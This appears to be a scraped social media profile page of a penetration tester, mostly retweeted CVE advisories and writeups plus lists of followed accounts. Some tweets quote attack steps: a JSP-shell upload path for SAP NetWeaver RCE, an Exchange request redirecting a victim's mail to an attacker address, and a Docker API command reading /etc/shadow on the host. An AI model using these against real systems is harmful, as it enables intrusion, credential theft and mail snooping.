Xpath Master @xpathmaster
Pentester, OSCP Joined February 2016-
Tweets318
-
Followers339
-
Following183
-
Likes1K
@nnwakelam How do you prevent a burnout ?
💥 New article "Fuzzing for XSS via nested parsers condition" by our researcher @Psych0tr1a. This techniques allowed us to find a bunch of vulnerabilities in popular web products that no one had noticed before! swarm.ptsecurity.com/fuzzing-for-xs…
🐞 PoC for a Post-Auth RCE (CVE-2021-38163) in SAP NetWeaver. The vulnerability was found by our researcher Mikhail Klyuchnikov. Reproduction steps: 1. Upload a jsp shell using the /irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.VCParMigrator path 2. Execute OS commands
In these new #BugBytes, discover a tool @emil_lerner used to inject GhostScript exploits into PDF and score several bounties, @xdavidhu's weird but very creative Google bugs, and all the cool hacking resources we've seen this week 💥 Follow the link 👇 go.intigriti.com/bugbytes-142
New blog post: Analyzing attacks that exploit the CVE-2021-40444 MSHTML vulnerability msft.it/6011XTGHN
MS Exchange Server Email Snooping (CVE-2021-33766) PoC to handle victim's email box POST /ecp/victim@victim/RulesEditor/InboxRules.svc/NewObject?msExchEcpCanary=b0o0 ... Cookie: SecurityToken=x ... {"properties":{"Redirecto":..."attacker@attacker" zerodayinitiative.com/blog/2021/8/30…
Трояны и бэкдоры в кнопочных мобильных телефонах российской розницы. Немалое количество простых кнопочных телефонов, присутствующих в российских магазинах, содержат нежелательные недокументированные функции: amp.gs/jTR5d
Here's our writeup of CVE-2021-26084 Confluence RCE now that it's out in public. Although, there are still a few mysteries to be solved. cc: @rootxharsh github.com/httpvoid/write…
@ryHanson @PwnieAwards @dalmoz_ Hi, @ryHanson I have some technical questions. How can I send a DM to you?
Cisco fixed an Unauth DoS in Adaptive Security Appliance and Firepower Threat Defense found by our researcher Nikita Abramov. Assigned CVEs: CVE-2021-1445, CVE-2021-1504 Advisory: tools.cisco.com/security/cente…
In light of my upcoming OSEP exam I've given my AD cheat sheet some of the care it deserves! Added more content and commands, brushed up existing content. Improved: - AD delegation - Lateral movement with MSSQL - LAPS - Inter-forest exploitation - More! 👇 casvancooten.com/posts/2020/11/…
Since the PoC for the VMware vCenter RCE (CVE-2021-21972) is now readily available, we're publishing our article covering all of the technical details. Read the article: swarm.ptsecurity.com/unauth-rce-vmw…
💥VMware fixed an Unauth RCE in vCenter (CVE-2021-21972) found by our researcher Mikhail Klyuchnikov. CVSS: 9.8 🔥 Advisory: vmware.com/security/advis…
#CVE-2021-2109 Weblogic Remote Code Execution involving HTTP protocol and JNDI injection gadget. Here is the writeup mp.weixin.qq.com/s/wX9TMXl1KVWw…
It's time to sum up the year. We created a list of the most interesting vulnerabilities found by our team in 2020. Post in the comments your favorites from the list and stay tuned for more vulnerabilities. 🎄Happy New Year's!🎄
⚠️F5 fixes BIG-IP Unauth DoS (CVE-2020-27716) found by our researcher Nikita Abramov. Versions affected: 15.0.0 ≤ BIG-IP(APM) < 15.1.1 BIG-IP(APM) < 14.1.3.1 The advisory: support.f5.com/csp/article/K5…
💥Easy RCE using Docker API on port 2375/tcp docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine File Access: cat /mnt/etc/shadow RCE: chroot /mnt #ptswarmTechniques
Tuan Anh Nguyen⚡️... @haxor31337
16K Followers 2K Following 30 y/o Bug Bounty Hunter and Red Team Lead at Viettel Cyber Security. Brand Ambassador @Hacker0x01 - Researcher Spotlight @Bugcrowd
UMAR AHMAD @umar_ahmad125
42 Followers 1K Following Ethical Hacker | Penetration Tester | Bug Bounty Hunter | Researcher
sunil kumar @sunilkumarbv19
1 Followers 162 Following
Moon_Walk @Moon_0_Walk
91 Followers 2K Following
DeadParr0t @d34d_parr0t
410 Followers 3K Following InfoSec eternal newb | 🇬🇧 | 🇫🇷 | Chaotic Good | Hacking & pentest stuff | Shitposts | Opinions here are those of my cat, mostly. @deadparr0t.bsky.social
Aleve Capital @AleveCap
18 Followers 157 Following welcome to Aleve Capital! We provide fast and flexible funding solutions to help small businesses access the capital they need to grow and thrive.
Mr Elliot @eliotsec
0 Followers 2K Following
𝚝𝚑𝚎𝚜𝚎�... @T_0_r_nado
60 Followers 5K Following
I love NoStarchPress @Dot_Loki
94 Followers 3K Following #malware #websec #osint #ctf how do i use internet??
61 ben @61ben1
3 Followers 190 Following
Richard Zorge @ZorgeRichard
22 Followers 870 Following
derek keller @derek_keller21
101 Followers 847 Following
BlackPanther87 @Panther82Black
114 Followers 1K Following . /Skript kiddie |. /Linux junkie | I love Hacking and Python.
:) @joaozinh4xx0r
7 Followers 794 Following
HECTOCORN @Xfce_
2 Followers 40 Following
Nee_Tech @tech_nee
131 Followers 2K Following Security Researcher, SynAck RedTeam Member, Bug Bounty Hunter, Pentester, OSCP, CRTP, eWaptx2
Moad Akhraz @mdakh404_
48 Followers 2K Following I like computers, security and everything in between.
Deandra @DeandraSec
733 Followers 4K Following Security Researcher | Bug Bounty🎯, Web&Mobile Apps Security | Red Team🔥 | Offensive Security
Asif @Asif08427198
0 Followers 93 Following
Cyber Security Pengui... @CySecPenguin
67 Followers 3K Following Cyber security information is collected.
Acrono @0xAcrono
84 Followers 557 Following
Blue. @leileis20
0 Followers 4K Following
🅸🆉🆉🆈 @Wh0ami_7
814 Followers 5K Following Christian | Eternal N00b | OSCP | Passive Bounty Hunter HoF: AT&T, Askdotcom, Microsoft etc. Unsupervised learning. 📝
nuo chen @nuochen13
0 Followers 26 Following
Ugur Cihan Koc @uceka_
804 Followers 1K Following AdemOglu 🇹🇷 | PenetrationTester | EthicalHacker | BugBountyHunter | oswe | osce | oscp | oswp @cobalt_io @hacker0x01 @bugcrowd
herbert tamayo @heftamayo
223 Followers 2K Following FullStack Developer, Freelancer, Infosec Newbie, Bug Bounty and Pentester wannabe
Ariel Garcia @Arl_rose
6K Followers 3K Following Community Builder. Pentester. Bug bounty Hunter. Bug bounty village @ DEFCON. https://t.co/PojmVAcqXQ Tweets are my own and not the views of my employer.
Gantravan @gantravan
21 Followers 328 Following
T.Morino @mori_tomo14
109 Followers 613 Following 慶應義塾大学通信教育課程Kei-ou university 中退/東京理科大学Tokyo university of science 卒/手に職としてIT engineerの道に/クリスチャンthe orthodox
Amar @Amarhacks
7 Followers 440 Following
Siddhartha Rajput ( D... @rajput_hack
45 Followers 416 Following CYBER SECURITY | SECURITY LOVER | PHILOMATH | DR. FLASH | ANONYMOUS #Bughunter #legalcrimer #anonymous #infosec #DRHACK #2andhunter
Precious Waseni @PreciousWaseni
21 Followers 245 Following Bug Hunter | Cyber Security | Digital Forensics | CTF player | Ethical Hacker | Vulnerable Mashines
Luke Brown @lukeastorw
484 Followers 2K Following Jr. Smart Contract Auditor | Bug bounty hunter | Security Researcher 💻 Just hunt dude!
HudsonView🦇🔊 @hudson_view
16 Followers 742 Following makin stuff. defi. nfts/collector. daos. eth. rangers. nets. mets. jets. arsenal. ny. arb. risk and insurance. ig: @hudson_view
whoaim @i_r_eip
47 Followers 204 Following Hello! I'm an IT #security guy, a #ctf player #pentester and more.
shubs @infosec_au
60K Followers 2K Following Co-founder, security researcher. Building an attack surface management platform, @assetnote
Intigriti @intigriti
215K Followers 669 Following Bug bounty & VDP platform trusted by the world’s largest organisations! 🌍
Ben Sadeghipour @NahamSec
252K Followers 1K Following Cofounder @hackinghub_io | Advisor @CaidoIO. I hack companies and make content about it. #NahamCon organizer. ex @hacker0x01🇮🇷
bugcrowd @Bugcrowd
203K Followers 6K Following The leading provider of crowdsourced cybersecurity solutions purpose-built to secure the digitally connected world...Unleash Ingenuity™
PortSwigger Research @PortSwiggerRes
124K Followers 7 Following Web security research from the team at @PortSwigger
Burp Suite @Burp_Suite
141K Followers 14 Following Burp Suite is the leading software for web security testing.
Kseniia \n @naumovax
3K Followers 132 Following pt malicious network traffic researcher, speaker / this blog about new malware & interesting С2 communication & my work life
Jeremy Clarkson @JeremyClarkson
7.5M Followers 204 Following I am a still small voice of calm and reason.
Kaimi & d_x @kaimi_io
300 Followers 61 Following
Dmitriy Evdokimov @evdokimovds
4K Followers 998 Following Оbservability, visibility, security of containerised apps and K8s. eBPF fan.
Omar "Beched" Ganiev @theBeched
1K Followers 228 Following Security research, mathematics, programming | Co-Founder @DecurityHQ
Web Security Academy @WebSecAcademy
144K Followers 36 Following Free web security training from @PortSwigger
Hikaru Nakamura @GMHikaru
629K Followers 465 Following Proudly Team Falcons Chess Professional Content Creator Business email: [email protected]
Magnus Carlsen @MagnusCarlsen
1.1M Followers 139 Following World Chess Champion. Playing for @TeamLiquid.
sn🥶vvcr💥sh @snovvcrash
12K Followers 492 Following Sr. Penetration Tester / Red Team Operator @ptswarm :: Author of the Pentester’s Promiscuous Notebook :: He/him :: Tweets’re my pwn 🐣
Georgy K. @zucrypt
37 Followers 108 Following
Dr. Amit Elazari, JSD @AmitElazari
4K Followers 2K Following Founder and CEO, OpenPolicy, Lecturer @UCBerkeley @BerkeleyISchool @ReichmanUni
Dina Belenkaya @DinaBelenkaya
97K Followers 808 Following Woman Chess Grandmaster & Content Creator♟️| Learn HOW TO USE YOUR BRAIN with my Chess School 📚 Business inquiries: [email protected]
Завтракаст ... @zavtracast
21K Followers 52 Following Подкаст про игры, медиа, технологии и интернет • Слушать: https://t.co/Xtmx3FjalR • Читать: https://t.co/htPW9WY6CL
Tamriel Today @tamriel_news
12K Followers 51 Following Новости из мира Тамриэля. Любые совпадения случайны, любые аналогии ложны.
David Howell @DavidHowellGM
43K Followers 319 Following ♟️ Chess Grandmaster 🏆 3-time British Champion 🥇 Olympic gold medallist ✍🏻 Columnist for The Times 🎙️ Commentator 📺 Presenter of BBC2's Chess Masters
Sunil Yedla @sunilyedla2
9K Followers 259 Following Trying to make Internet a safer place 👨🏼💻 by helping companies find security loopholes.
Roman Maximov @romaximov
32 Followers 85 Following
Yuriy Dyachenko @YuriyDyachenko
198 Followers 52 Following
Ugur Cihan Koc @uceka_
804 Followers 1K Following AdemOglu 🇹🇷 | PenetrationTester | EthicalHacker | BugBountyHunter | oswe | osce | oscp | oswp @cobalt_io @hacker0x01 @bugcrowd
Ariel Garcia @Arl_rose
6K Followers 3K Following Community Builder. Pentester. Bug bounty Hunter. Bug bounty village @ DEFCON. https://t.co/PojmVAcqXQ Tweets are my own and not the views of my employer.
Ryan Hanson @ryHanson
7K Followers 927 Following Security Researcher hunting for weird bugs. Research Science Director @Atredis
TrendAI Zero Day Init... @thezdi
89K Followers 18 Following TrendAI Zero Day Initiative™ (ZDI) is a program designed to reward security researchers for responsibly disclosing vulnerabilities.
Provogue Records @ProvogueRecords
702 Followers 185 Following Provogue Records - Rockin' The Blues since '91. The blues music imprint of Mascot Label Group @MLG_Rocks
secret club @the_secret_club
18K Followers 0 Following secret club is a not-for-profit reverse-engineering group; publishing new research on popular software. No ads, no cookies, just research.
Vanessa @nesshaxs
3K Followers 889 Following #Hacking, #Lifestyle, #Fitness | (She/Her) Cybersecurity Profesh
Nikolay Anisenya @NikolayAnisenya
43 Followers 72 Following
vladimir metnew @v_metnew
4K Followers 413 Following perpetually playing weird gambling games with computational machines
Hack3rScr0lls @hackerscrolls
9K Followers 57 Following for hackers by hackers Contact: [email protected]
neon automata @mishookoo
1K Followers 200 Following
Alberto Solino @agsolino
4K Followers 286 Following
dawgyg @thedawgyg
59K Followers 1K Following #h1415 2020 MVH, Bug Bounty Hunter, Reformed Blackhat. Views/Likes/Retweets do not represent my employer in anyway.
whynotsecurity @whynotsecurity
649 Followers 5 FollowingYou might like
